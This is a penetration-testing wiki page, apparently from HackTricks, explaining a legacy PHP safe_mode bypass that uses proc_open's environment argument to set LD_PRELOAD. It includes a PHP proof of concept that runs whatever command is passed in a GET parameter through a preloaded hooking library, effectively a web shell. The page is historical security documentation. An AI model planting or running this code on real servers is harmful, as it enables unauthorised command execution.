---
title: "Legacy PHP safemode bypass via procopen and a custom environment"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---
# Legacy PHP `safe_mode` bypass via `proc_open` and a custom environment
This historical Linux technique uses the environment argument of `proc_open()` to set `LD_PRELOAD` for a child process. The preloaded shared library hooks a function invoked during process startup and runs a command outside PHP's former `safe_mode` restrictions. It requires a writable directory, an enabled `proc_open()`, and a shared library compiled for the target platform.<sup>[[1]](#references)</sup> The fifth argument to `proc_open()` supplies the child process's environment.<sup>[[2]](#references)</sup> PHP removed `safe_mode` in version 5.4, so treat this as a legacy technique rather than a general `disable_functions` bypass.<sup>[[3]](#references)</sup>
The PHP portion of the original proof of concept writes the requested command to `.comm`, starts a child with the malicious library preloaded, and then reads the captured output:<sup>[[1]](#references)</sup>
```php
<?php
$path = "/var/www"; // Change to a writable path.
$commandFile = fopen($path . "/.comm", "w");
fputs($commandFile, $_GET["c"]);
fclose($commandFile);
$descriptorSpec = [
0 => ["pipe", "r"],
1 => ["file", $path . "/output.txt", "w"],
2 => ["file", $path . "/errors.txt", "a"],
];
$environment = ["LD_PRELOAD" => $path . "/a.so"];
$process = proc_open("id > /tmp/a", $descriptorSpec, $pipes, ".", $environment);
sleep(1);
$output = fopen($path . "/.comm1", "r");
echo "<pre><b>";
while (!feof($output)) {
echo fgets($output);
}
fclose($output);
echo "</b></pre>";
?>
```
The trigger command itself is not the important part and is expected to be blocked or fail in the original scenario. On the affected setup, `proc_open()` first starts `/bin/sh -c`; the dynamic loader processes `LD_PRELOAD` while loading the shell, and the preloaded `getuid()` hook executes the command stored in `.comm` before the shell finishes handling the trigger. The hook then moves the captured output to `.comm1` for the PHP script to read.<sup>[[1]](#references)</sup>
## References
- [1] [Bugtraq - PHP `safe_mode` can be bypassed via `proc_open()` and a custom environment](https://seclists.org/bugtraq/2008/Dec/89)
- [2] [PHP manual - `proc_open`](https://www.php.net/manual/en/function.proc-open.php)
- [3] [PHP - PHP 5.4.0 release announcement](https://www.php.net/releases/5_4_0.php)